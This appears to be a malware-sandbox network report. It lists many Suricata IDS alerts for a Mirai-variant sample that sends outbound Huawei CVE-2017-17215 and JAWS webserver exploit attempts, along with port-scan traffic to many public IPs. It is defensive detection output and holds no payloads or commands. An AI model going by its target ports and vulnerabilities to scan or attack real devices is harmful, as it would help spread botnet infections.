Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:49078 -> 197.88.243.218:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:51222 -> 156.228.164.110:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:54430 -> 156.158.216.173:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:35298 -> 41.127.128.0:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:47078 -> 41.114.117.190:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:41990 -> 197.79.247.50:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:38708 -> 197.198.35.16:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:53756 -> 197.57.30.186:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:40228 -> 197.152.15.124:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:47110 -> 197.44.208.174:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:40230 -> 156.80.185.156:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:50026 -> 156.206.254.225:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:41612 -> 156.193.79.196:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:59390 -> 37.111.84.54:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:59390 -> 37.111.84.54:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:51986 -> 54.130.141.170:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:51986 -> 54.130.141.170:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:58656 -> 156.64.0.128:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:55192 -> 197.104.233.253:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:53108 -> 197.58.88.197:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:57236 -> 156.60.115.244:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:53304 -> 156.28.114.59:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:39020 -> 156.127.18.248:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:41508 -> 156.99.113.24:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:34764 -> 197.34.184.215:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:57748 -> 197.234.52.32:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:35880 -> 41.136.19.221:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:59756 -> 197.243.83.152:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:40618 -> 41.204.54.254:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:41032 -> 156.147.94.235:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:55670 -> 156.166.178.3:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:44816 -> 156.53.45.244:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:39920 -> 197.116.128.117:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:50130 -> 156.14.214.230:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:39468 -> 197.80.140.137:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:55838 -> 202.190.152.115:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:36886 -> 197.119.87.185:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:52954 -> 156.79.255.142:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:36858 -> 156.80.73.90:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:47382 -> 41.210.51.165:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:55838 -> 202.190.152.115:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:37002 -> 156.237.202.67:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:51666 -> 197.158.248.189:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:58970 -> 197.58.112.233:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:37292 -> 194.10.184.124:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:37292 -> 194.10.184.124:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:39100 -> 156.225.90.134:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:53070 -> 197.137.12.64:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:45310 -> 156.41.200.154:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:41392 -> 156.121.211.228:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:43392 -> 156.236.14.88:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:59104 -> 197.214.151.188:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:47016 -> 161.225.186.189:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:47016 -> 161.225.186.189:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:33964 -> 18.238.109.205:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:33964 -> 18.238.109.205:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:48378 -> 197.153.147.0:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:45358 -> 41.234.149.164:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:52344 -> 41.13.201.6:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:35024 -> 156.165.110.101:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:46044 -> 41.59.4.95:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:35704 -> 41.24.75.89:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:56160 -> 156.73.163.22:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:60698 -> 1.19.246.235:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:60698 -> 1.19.246.235:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:42332 -> 197.171.131.230:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:42332 -> 197.171.131.230:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:51154 -> 197.182.81.17:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:46452 -> 24.76.98.2:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:46452 -> 24.76.98.2:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:39036 -> 156.130.121.177:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:50394 -> 156.242.156.33:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:56378 -> 193.158.34.34:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:56378 -> 193.158.34.34:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:59366 -> 156.80.97.59:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:52604 -> 156.47.87.157:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:56938 -> 83.248.130.23:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:56938 -> 83.248.130.23:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:45858 -> 197.214.176.83:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:33700 -> 197.71.189.138:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:36418 -> 156.110.236.154:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:48330 -> 197.84.79.40:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:33440 -> 41.221.191.229:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:51154 -> 156.54.76.237:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:37228 -> 156.197.91.65:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:59166 -> 197.115.74.226:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:33156 -> 41.214.32.23:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:50412 -> 156.203.209.254:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:43390 -> 197.21.220.133:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:54636 -> 197.127.188.92:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:52172 -> 156.174.59.56:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:40350 -> 197.86.44.39:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:53368 -> 156.111.51.215:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:51742 -> 156.212.221.194:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:40212 -> 197.183.113.213:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:55530 -> 41.137.108.19:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:50974 -> 156.157.29.74:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:60290 -> 41.65.253.82:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:55462 -> 156.137.181.35:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:43222 -> 41.93.153.150:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:50034 -> 197.166.194.252:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:47818 -> 41.28.7.187:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:42666 -> 197.138.158.230:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:35876 -> 156.194.153.163:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:52740 -> 197.140.242.216:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:35724 -> 156.35.204.41:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:39304 -> 197.230.75.185:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:57116 -> 41.143.10.75:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:42574 -> 197.195.178.160:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:55116 -> 41.200.62.27:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:57036 -> 197.114.86.99:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:52260 -> 197.96.246.105:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:40830 -> 156.87.5.7:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:45088 -> 41.250.150.154:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:49744 -> 156.245.26.168:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:35722 -> 41.234.119.217:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:35618 -> 156.73.111.27:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:45374 -> 156.81.131.250:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:39584 -> 197.105.30.163:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:44650 -> 156.214.132.168:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:54100 -> 41.46.173.35:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:58880 -> 41.18.226.29:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:46520 -> 197.222.42.116:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:39196 -> 197.217.210.140:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:52456 -> 41.85.95.107:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:46348 -> 156.174.17.219:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:42726 -> 156.193.218.246:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:50736 -> 41.120.185.178:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:38782 -> 197.252.192.19:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:36144 -> 41.243.175.234:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:37846 -> 156.182.107.112:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:59158 -> 41.52.186.233:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:50658 -> 41.42.215.56:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:48220 -> 197.240.250.3:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:35806 -> 44.91.54.13:80

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 156.162.208.140 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.239.253.205 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.128.78.165 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.92.53.187 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.87.98.178 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.89.28.125 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.30.145.227 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.140.181.77 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.65.177.253 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.91.105.117 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.238.27.185 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.133.202.172 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.212.217.236 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.75.162.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.227.129.49 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.19.76.4 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.162.183.120 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.131.99.199 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.4.98.12 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.8.127.120 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.52.101.177 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.213.34.8 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.216.131.125 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.89.172.76 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.242.197.77 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.246.162.12 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.75.231.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.33.73.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.74.157.162 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.238.171.50 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.155.145.46 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.72.142.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.106.217.55 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.46.131.61 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.62.158.251 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.180.243.137 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.26.17.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.157.167.236 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.172.1.62 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.233.240.139 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.155.201.63 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.123.175.31 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.206.55.46 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.68.45.254 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.214.131.216 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.8.188.130 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.95.241.247 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.68.224.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.107.162.156 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.71.239.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.50.43.153 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.73.113.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.243.11.254 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.37.215.196 ports 1,2,3,5,7,37215
